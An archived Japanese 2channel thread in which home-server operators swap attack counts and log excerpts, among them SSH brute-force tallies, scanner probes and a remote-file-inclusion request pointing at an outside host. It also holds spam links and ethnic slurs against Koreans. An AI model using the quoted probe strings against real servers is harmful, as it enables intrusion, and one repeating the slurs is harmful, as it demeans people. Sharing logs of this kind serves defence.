2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

自宅鯖に攻撃された回数

1 :DNS未登録さん:03/04/29 16:24 ID:ZxRqeijn
漏れはアタックされたことないが
ウィルスを入れられたことはある
ドレぐらいあるか、話し合いましょう〜

2 :DNS未登録さん:03/04/29 16:25 ID:ZxRqeijn
2GET


3 :DNS未登録さん:03/04/29 16:42 ID:???
> ウィルスを入れられたことはある
ケーブル引っこ抜いて(ry

アタックの有無は自宅鯖に関係なく発生する。
セキュ板にいってくれ
削除依頼するのを忘れるなよ

4 :DNS未登録さん:03/04/29 19:10 ID:???
ここと重複っぽい
http://pc2.2ch.net/test/read.cgi/mysv/1044692135/

5 :演@ usen-43x233x52x230.ap-USEN.usen.ad.jp:03/05/01 02:03 ID:???
おまいは今までに喰ったパンの数を覚えて(ry

6 :DNS未登録さん:03/05/01 19:53 ID:???
「<ヽ`∀´>」 からミサイルが飛んできますた。

7 :DNS未登録さん:03/05/01 23:11 ID:???
>>6
ワラタ

8 ::03/05/02 21:10 ID:6kFAVGSG
http://www10.plala.or.jp/the-vsop1985/
短パンは食べたよ

9 :DNS未登録さん:03/05/02 21:28 ID:???
毎日1000〜1300回アタックされてるyp

10 :DNS未登録さん:03/05/02 23:09 ID:???
同じプロバイダかもしれないが、Coderedが…ガクガクブルブル

11 :DNS未登録さん:03/05/02 23:14 ID:qAFinOV6
10

12 :演@ usen-43x233x52x230.ap-USEN.usen.ad.jp:03/05/03 01:09 ID:???
>>10
うちは平和だよ。
http://www.gamiras.com/cgi-bin/apache_attack.cgi

13 :DNS未登録さん:03/05/03 16:30 ID:???
そんなことより>>8よ、
ぱんつくったことあるか?

14 :DNS未登録さん:03/05/10 01:47 ID:???
>>12
何でそんなに少ないんですか?

15 :演@ usen-43x233x52x230.ap-USEN.usen.ad.jp:03/05/10 03:42 ID:???
>>14
日頃の行いだと思いたい。

#Nimdaがまったくないのは不自然だなぁと思うんですが、
#まったく同じスクリプトを仕込んだ取引先の鯖群はヒットしまくってるし・・・

16 :.:03/05/16 00:00 ID:???


17 :DNS未登録さん:03/05/16 00:02 ID:XyccI3ke
おすすめサイト一覧です☆
http://accessplus.jp/staff/in.cgi?id=10645
http://www.39001.com/cgi-bin/cpc/gateway.cgi?id=neat
http://www.39001.com/cgi-bin/cpc/welcome.cgi?id=neat
http://www.emzshop.com/goodstyle/
http://neturl.nu/okane


18 :DNS未登録さん:03/05/16 09:45 ID:???
>>16
私怨?

19 :DNS未登録さん:03/05/16 19:46 ID:???
80あけときゃアタックされ放題。
漏れも♀にアタックされてぇよ!

20 :山崎渉:03/05/22 01:54 ID:???
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―

21 :山崎渉:03/05/28 17:09 ID:???
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

22 :DNS未登録さん:03/06/27 16:28 ID:+ElWtCz0
複数の男に侵入されたんだとさ

1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/06/27 06:51
6・27日夜、某Z社のドアでドーンと大きな音がし複数の男性が浸入してきて、某Z社にたいして2ちゃんねるの掲示板の削除を怒声で要求したそうです。
某Z社は他の社員さんもおり、社員さんの安全のために要求にしたがわざるを得なかったそうです。
とはいえ、2ちゃんねるとしては、そういった行為で掲示板を閉鎖するのはよしとしませんので再開することにしました。
しかしながら、某Z社さんに迷惑がかかるといけないので、某Z社の人が一切サーバに入れないようにすべての権限を剥奪しパスワードを変えました。

某Z社に迷惑がかかるので、今回の件について某Z社の方に連絡するのはくれぐれもお控えください。。。と。

レンサバ板休止の真相
http://pc2.2ch.net/test/read.cgi/hosting/1056664280/

23 :DNS未登録さん:03/06/27 17:24 ID:20MVCv9j
☆可愛い娘満載のHサイト☆(閲覧無料)
http://endou.kir.jp/yuminet/link.html

24 :ちよ:03/06/27 19:23 ID:???
よろしく!!
http://www1.free-city.net/home/kotarou/page006.html

25 :DNS未登録さん:03/07/04 14:02 ID:???
>>15
> #Nimdaがまったくないのは不自然だなぁと思うんですが、
apache_attack.cgi の 79行目。
if ( &ap_analog("default.ida") ) { &at_print_day; }
を、
if ( &ap_analog("default\.ida") ) { &at_print_day; }
もしくは、
if ( &ap_analog("\Qdefault.ida\E") ) { &at_print_day; }
にしておくと安心するかと思われ(w

26 :DNS未登録さん:03/07/15 00:40 ID:???
自鯖が攻撃された事はあるが、
自鯖に攻撃された事はない。

27 :山崎 渉:03/07/15 11:10 ID:???

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

28 :ぼるじょあ ◆ySd1dMH5Gk :03/08/02 05:04 ID:???
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ

29 :山崎 渉:03/08/15 22:46 ID:???
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

30 :DNS未登録さん:03/08/16 07:33 ID:???
ポート135コナイ… (´・ω・`)

31 :DNS未登録さん:04/02/19 17:45 ID:???


32 :DNS未登録さん:04/02/21 01:10 ID:???


33 :DNS未登録さん:04/02/21 01:11 ID:???


34 :DNS未登録さん:04/02/21 05:15 ID:???


35 :DNS未登録さん:04/02/21 11:46 ID:???


36 :DNS未登録さん:04/02/21 22:28 ID:???


37 :DNS未登録さん:04/02/25 23:18 ID:???


38 :DNS未登録さん:04/02/26 02:01 ID:???


39 :DNS未登録さん:04/02/26 05:08 ID:???


40 :DNS未登録さん:04/02/26 06:05 ID:???


41 :DNS未登録さん:04/03/03 06:31 ID:???


42 :DNS未登録さん:04/03/03 06:32 ID:???


43 :DNS未登録さん:04/03/03 06:33 ID:???


44 :DNS未登録さん:04/03/03 12:13 ID:???


45 :DNS未登録さん:04/03/03 22:12 ID:???


46 :DNS未登録さん:04/03/03 22:13 ID:???


47 :DNS未登録さん:04/03/05 01:41 ID:???


48 :DNS未登録さん:04/03/06 10:18 ID:???
数える気にもならん…

49 :DNS未登録さん:04/03/20 13:08 ID:???


50 :仕様書無しさん:04/10/04 23:56:03 ID:odsrLN5V
今頃、CodeRedとか、Nimdaに感染されてることを想定して、
アタックしてくるヤツがいるんだけど。
そいつら、時代遅れ?


51 :DNS未登録さん:04/10/24 20:35:32 ID:GhNIlj98
自宅鯖のログに、こんなのが。
$ grep "Invalid user" $LOG |cat -n |tail -n1
43 Oct DD HH:MM:SS SERVER sshd[NUM]: Invalid user test from 211.192.229.4

そっちを適当につついて見たが、サーバソフトが軒並2年前のバージョンで、
当然脆弱性てんこ漏り...

要するに、此奴、踏台になってる模様。


52 :DNS未登録さん:04/10/24 21:10:43 ID:???
>>50
まあ、時代遅れといえばそうなんだろうな。
おまえさんのサイトが脆弱そうだから攻撃してるんじゃなくて、そいつらのサイトが脆弱なだけだと思うけど。

53 :DNS未登録さん:04/10/25 11:14:19 ID:???
>>51
バージョンが古いからってセキュリティホールが残っているものだと考えるのは
厨だぞ。パッケージ製品ならともかく、オープンソースならパッチをバックポート
して適用する場合もあるわけだし。

54 :51:04/10/25 19:34:10 ID:???
>>53
もう少し説明したい。

まず、縁のゆかりもない俺の自宅鯖に、一分程の間に43回、複数の名前
(test, jane, webmaster, mysql他いろいろ)でsshしてきた経緯がわからない。

こっちは人にアカウントあげた覚えはない。

くだんのIPを自分でつつけば分かるが、サーバソフト(proftpd, apache, php)の
バージョンが揃って2002年前半のそれだった(もちろん、返す値が真実と
かけはなれてる可能性は当然ある)。

# 流石に当該サイトの脆弱性検証まではやってないので(立派なクラックじゃん)

そこのftpdにアクセスすると、あるドメインが表示されたので、ぐぐってみると
すぐ近くのIPを持つ韓国語のサイトに出た。
こっちはさらに酷かった。
ネームサーバがたってたのでdigで試すと、関係ないドメインまで検索してくれた。
(そんなの、プロバイダが顧客向けにやれば十分だと思うが...)

6000まで開いていた。インターネット越しにX動かす神経が信じられない。
(単に気づかないだけなら、さらに救いがたい)

ちなみに使ってるサーバのバージョンは同一だった。

これだけの事実を見ると、管理者の勘違いOR悪戯というより、そのシステムを
乗っ取った小僧の可能性を疑いたくなる。

# 他に勘違いしてる可能性があったら教えてくれ。


55 :DNS未登録さん:04/10/26 13:11:32 ID:SAiFAV7q
Oct 22 15:02:11 SERVER postfix/smtpd[1227]: connect from unknown
  [221.140.55.88]
Oct 22 15:02:12 SERVER postfix/smtpd[1227]: NOQUEUE: reject: RCPT
  from unknown[221.140.55.88]: 554 <moneyhunter99@daum.net>: Relay
  access denied; from=<ddhe2oo9uuhh44tyqg2@yahoo.com.au>
  to=<moneyhunter99@daum.net> proto=SMTP helo=<none>
Oct 22 15:02:12 SERVER postfix/smtpd[1227]: disconnect from unknown
  [221.140.55.88]

スパマー大っ嫌い。


56 :DNS未登録さん:04/11/02 16:45:31 ID:???
inetnum: 219.0.0.0 - 219.63.255.255
netname: BBTECH
descr: SOFTBANK BB CORP
descr: Nation wide network in Japan
country: JP
admin-c: SA127-AP
tech-c: SA127-AP
mnt-by: APNIC-HM
mnt-lower: MAINT-JP-BBTECH
changed: hostmaster@apnic.net 20011031
changed: hm-changed@apnic.net 20030616
status: ALLOCATED PORTABLE
source: APNIC


57 :DNS未登録さん:2005/05/19(木) 11:56:11 ID:???
携帯のIPで朝から140件ほど攻撃を受けてる

58 :DNS未登録さん:2006/06/15(木) 00:02:07 ID:???
KRNIC is not a ISP but a National Internet Registry similar to APNIC.
The address is allocated yet

Please contact following ISP for further information

[ ISP Organization Information ]
Org Name : NIDA
Service Name : KRNIC-NET
Org Address : Seocho 2-dong Seocho-gu SEOUL
Org Detail Address: 1321-11 11th KTF B/D

[ ISP IP Admin Contact Information ]
Name : IP Adm
Phone : +82-2-2186-4500
E-Mail : noc@nida.or.kr

[ ISP IP Tech Contact Information ]
Name : IP Tech
Phone : +82-2-2186-4500
E-mail : noc@nida.or.kr

[ ISP Network Abuse Contact Information ]
Name : Abuse Manager
Phone : +82-2-2186-4500
E-mail : noc@nida.or.kr

- NIDA/KRNIC Whois Service -

こいつ(202.30.50.120)がこの2時間で100回ぐらい仕掛けてきてる。
まじでチョン死ね。

59 :DNS未登録さん:2007/12/06(木) 00:30:04 ID:???
機能サーバーで足の小指打った。

60 :DNS未登録さん:2007/12/29(土) 21:17:17 ID:???
↓こんなのが1回
GET /w00tw00t.at.ISC.SANS.DFind:)

↓こんなのが週数回
SEARCH /\x90\xc9\(略)\x90\
POST /_vti_bin/_vti_aut/fp30reg.dll

61 :DNS未登録さん:2008/05/13(火) 12:37:23 ID:JVWzeohz
>>1
ネットに一時間つなげば、一回や二回あってもおかしくない。
普通は数え切れないはず。

62 :DNS未登録さん:2008/05/14(水) 04:11:44 ID:yJwFMBtH
自分が管理しているサーバーに攻撃されたのか?
なんか凶暴なサーバーなんだねw

63 :DNS未登録さん:2008/05/14(水) 09:44:30 ID:???
面白い事書こうと必死杉
頭ワルソー

64 :DNS未登録さん:2008/05/15(木) 09:28:02 ID:???
うちのおかんから攻撃がありました!

かーちゃん……電源ぬくなよ

65 :DNS未登録さん:2008/05/16(金) 10:45:49 ID:???
おかん最強のクラッカー

66 :DNS未登録さん:2008/05/16(金) 18:49:20 ID:???
一人暮らしすればいい話だが

67 :DNS未登録さん:2008/05/30(金) 17:32:46 ID:Ot7IDYtB
ちょっと穴空けて、踏み台にされるのを待っているんだけど・・・

ツールとかドサッと置いたのを確認してから、いただいちゃおうって考えね。

68 :DNS未登録さん:2008/05/30(金) 23:38:18 ID:???
>>67
それ何ていう死亡フラグ?

69 :DNS未登録さん:2008/07/01(火) 16:45:50 ID:yWt1W5th
最近、8080ポート空けてると毎日

GET /manager/html

ってのがやたら来るんだけど、何がしたいのやら



70 :DNS未登録さん:2008/07/01(火) 19:18:56 ID:???
/脆弱性が見つかってるphp?http://URL
みたいなのが土曜からずっと来てるのだけど。
エージェントはlibwww-perlやMorfeus Fucking Scanner
ディレクトリやPHP名はかわっていってるけど、自分の鯖はPHP導入してないんだよね
検索で探せばPHP使ってるサイト等結構みつかるのに、そんな確認もせずに総スキャンかましてるのか
2-3回アクセス毎にIP変わってるのでiptablesの制限にかからないけど、PHPを使ってない鯖にいつまで続けるんだろ

71 :70:2008/07/01(火) 20:54:05 ID:???
読み直してみたら70の日本語が変だorz


72 :DNS未登録さん:2008/07/02(水) 07:47:37 ID:xJhKfCu8
認証とか面倒なんでポート全解放 管理者パスワード無し
最近不安定でexploler.exeが起動しないからアップデートもしてない

でもアタックなんてされるわけないから大丈夫

73 :DNS未登録さん:2008/07/25(金) 14:05:00 ID:Wso8n28Y
サーバーにハッキングしようとする悪質な輩を晒し上げ

Failed logins from:
58.229.117.54: 3201 times
122.209.225.187: 26 times
125.54.44.56 (KD125054044056.ppp-bb.dion.ne.jp): 1 time

Illegal users from:
58.229.117.54: 2864 times
122.209.225.187: 1 time

Failed logins from:
128.134.180.202: 38 times
202.108.201.158: 22 times
213.194.149.28 (ns4.hostinglmi.net): 30 times
218.12.196.5: 5 times
222.73.225.84: 124 times

Illegal users from:
128.134.180.202: 174 times
202.108.201.158: 31 times
213.194.149.28 (ns4.hostinglmi.net): 1043 times
218.12.196.5: 4 times
222.73.225.84: 144 times


74 :DNS未登録さん:2008/07/25(金) 14:22:17 ID:???
>>73
とりあえずチョンは弾けよ

75 :DNS未登録さん:2008/07/27(日) 20:39:04 ID:???
サーバーにハッキングしようとする悪質な輩を晒し上げ

Failed logins from:
70.86.87.58 (3a.57.5646.static.theplanet.com): 573 times
88.191.78.192 (sd-13533.dedibox.fr): 312 times

Illegal users from:
88.191.78.192 (sd-13533.dedibox.fr): 5 times


76 :DNS未登録さん:2008/08/03(日) 14:06:34 ID:vBrtm0/V
運用が安定してからsshの不正ログインチャレンジは毎日200はあったな

sshdのポートを変えたらゼロになった

77 :DNS未登録さん:2008/08/10(日) 05:32:39 ID:Th0Uozn8
サーバーにハッキングしようとする悪質な輩を晒し上げ
毎日こんな調子だわ orz

Failed logins from:
74.52.28.122 (7a.1c.344a.static.theplanet.com): 13 times
80.232.45.118: 523 times
81.86.39.135 (81-86-39-135.dsl.pipex.com): 2 times
83.16.138.122 (afi122.internetdsl.tpnet.pl): 6 times
207.58.135.82 (pi.com): 114 times

Illegal users from:
74.52.28.122 (7a.1c.344a.static.theplanet.com): 2 times
80.232.45.118: 1608 times
81.86.39.135 (81-86-39-135.dsl.pipex.com): 1 time
83.16.138.122 (afi122.internetdsl.tpnet.pl): 788 times
207.58.135.82 (pi.com): 2030 times


78 :DNS未登録さん:2008/08/14(木) 11:44:05 ID:???
俺実際にルータの設定いじられたことあるw
知らない間にポート全部開いてたw
アタック通知設定にすべきだな

79 :DNS未登録さん:2008/08/17(日) 02:19:47 ID:???
怖えええええええww

80 :DNS未登録さん:2008/08/17(日) 02:56:35 ID:???
>>78
それはルータとサーバのどっちの設定に問題があったんだ?

81 :DNS未登録さん:2008/08/24(日) 03:31:04 ID:???
最近
/send_reminders.php?includedir=http://www.*.de/2007/pics/id.txt???
みたいなのが毎日数時間置きぐらいにきてるけど、他の人はどう?
とりあえずユーザーエージェントとしてとして残ってるlibwww-perlをDROPしたから403を返してるけど、それでもずーとアクセスあるのよね
php使ってないのにさ
IPも次から次へと変えてるっぽい

82 :DNS未登録さん:2008/08/24(日) 15:48:10 ID:???
>81
ぐぐるぐらい自分でやれ。
http://www.securityfocus.com/bid/14651

83 :DNS未登録さん:2008/08/24(日) 16:40:08 ID:???
>>82
いや、この手のアクセスが毎日数時間おきに来てるって事が言いたかったわけです
他の人はどうかなっと


84 :DNS未登録さん:2009/02/02(月) 16:17:34 ID:???
じさばは、大切なファイルのあるPCと同じラン上にあるんですか?

85 :DNS未登録さん:2009/03/09(月) 03:30:00 ID:???
いつも使ってるPCで自鯖運営すると結構便利
攻撃されたらすぐLANケーブル抜くことができるし。

86 :DNS未登録さん:2009/03/10(火) 14:51:10 ID:???
それは降伏では・・・

87 :DNS未登録さん:2009/04/10(金) 20:22:56 ID:???
鯖がよく落ちるなと思って、今日セキュリティログ見てみたら30171番ポートにボットネットから攻撃されてやがった。
どうすればいいものか。

88 :DNS未登録さん:2009/04/18(土) 08:20:51 ID:???
つ iptables
つ ipfilter
つ ipfw
つ PeerGuardian


89 :DNS未登録さん:2009/05/28(木) 10:18:49 ID:???
つ [めるこ]
つ [これが]

90 :DNS未登録さん:2009/08/05(水) 03:01:07 ID:???
つ[pci]
つ[WinME]

91 :DNS未登録さん:2010/04/08(木) 00:25:48 ID:???
>>69
 Tomcatの管理用コンテキストにアクセスできてしまうことがある。
 ほとんどの場合、Basic認証付きがデフォルトだから、大丈夫。

92 :DNS未登録さん:2010/05/23(日) 13:19:53 ID:???
65.74.168.210 (c1resolver1.ctmail.com)

最近やたら多いんだけど
カードの情報盗まれた可能性もあるので警察に届けた方がいいかしら?

19 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)